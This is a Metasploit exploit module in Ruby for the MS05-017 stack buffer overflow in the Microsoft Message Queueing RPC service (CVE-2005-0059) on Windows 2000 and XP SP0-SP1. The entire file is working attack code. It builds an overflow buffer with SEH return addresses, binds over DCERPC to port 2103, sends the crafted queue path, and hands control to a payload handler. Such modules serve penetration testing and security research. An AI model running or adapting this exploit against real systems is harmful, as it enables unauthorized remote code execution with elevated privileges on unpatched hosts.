Microsoft Message Queueing Service Path Overflow



##

# $Id: ms05_017_msmq.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::Remote::DCERPC
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Microsoft Message Queueing Service Path Overflow',
            'Description'    => %q{
                This module exploits a stack buffer overflow in the RPC interface
                to the Microsoft Message Queueing service. The offset to the
                return address changes based on the length of the system
                hostname, so this must be provided via the 'HNAME' option.
                Much thanks to snort.org and Jean-Baptiste Marchand's
                excellent MSRPC website.

            },
            'Author'         => [ 'hdm' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9262 $',
            'References'     =>
                [
                    [ 'CVE', '2005-0059'],
                    [ 'OSVDB', '15458'],
                    [ 'MSB', 'MS05-017'],
                    [ 'BID', '13112'],
                ],
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 1024,
                    'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
                    'StackAdjustment' => -3500,

                },
            'Targets'        =>
                [
                    [
                        'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
                        {
                            'Platform' => 'win',
                            'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
                        },
                    ],
                ],
            'DisclosureDate' => 'Apr 12 2005',
            'DefaultTarget' => 0))

        # Change the default port values to point at MSMQ
        register_options(
            [
                Opt::RPORT(2103),
                OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),
            ], self.class)
    end

    def autofilter
        # Common vulnerability scanning tools report port 445/139
        # due to how they test for the vulnerability. Remap this
        # back to 2103 for automated exploitation

        rport = datastore['RPORT'].to_i
        if ( rport == 445 or rport == 139 )
            datastore['RPORT'] = 2103
        end

        # The NetBIOS hostname is required to exploit this bug reliably.
        if (not datastore['HNAME'])
            # XXX automatically determine the hostname
            return false
        end

        true
    end

    def exploit

        # MSMQ supports three forms of queue names, the two we can use are
        # the IP address and the hostname. If we use the IP address via the
        # TCP: format, the offset to the SEH frame will change depending on
        # the length of the real hostname. For this reason, we force the user
        # to supply us with the actual hostname.

        # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

        queue_name = "OS:#{datastore['HNAME']}";
        queue_hlen = datastore['HNAME'].length * 2
        queue_path = unicode(queue_name + "\\PRIVATE$\\")

        buf   = rand_text_english(4000, payload_badchars)

        # Windows 2000 SEH offset goes first
        buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
        buf[372 - queue_hlen - 4, 2] = "\xeb\x22"

        # Windows XP SEH offset goes second
        seh = generate_seh_payload(target['Rets'][1])
        buf[400 - queue_hlen - 4, seh.length] = seh

        # Append the path to the location and null terminate it
        queue_path << buf << "\x00\x00"

        # Get the unicode length of this string
        queue_plen = queue_path.length / 2

        connect
        print_status("Trying target #{target.name}...")

        handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
        print_status("Binding to #{handle} ...")
        dcerpc_bind(handle)
        print_status("Bound to #{handle} ...")

        stubdata =
            NDR.long(1) +
            NDR.long(1) +
            NDR.long(1) +
            NDR.long(3) +
            NDR.long(3) +
            NDR.long(2) +
            NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)

        print_status('Sending exploit ...')

        response = dcerpc.call(9, stubdata)

        if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
            case dcerpc.last_response.stub_data
                when "\x20\x00\x0e\xc0"
                    print_status("The server rejected our request, the HNAME parameter could be incorrect")
                when "\x1e\x00\x0e\xc0"
                    print_status("The server does not appear to be exploitable")
                else
                    print_status("An unknown response was received from the server:")
                    print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
            end
        end

        handler
        disconnect
    end

end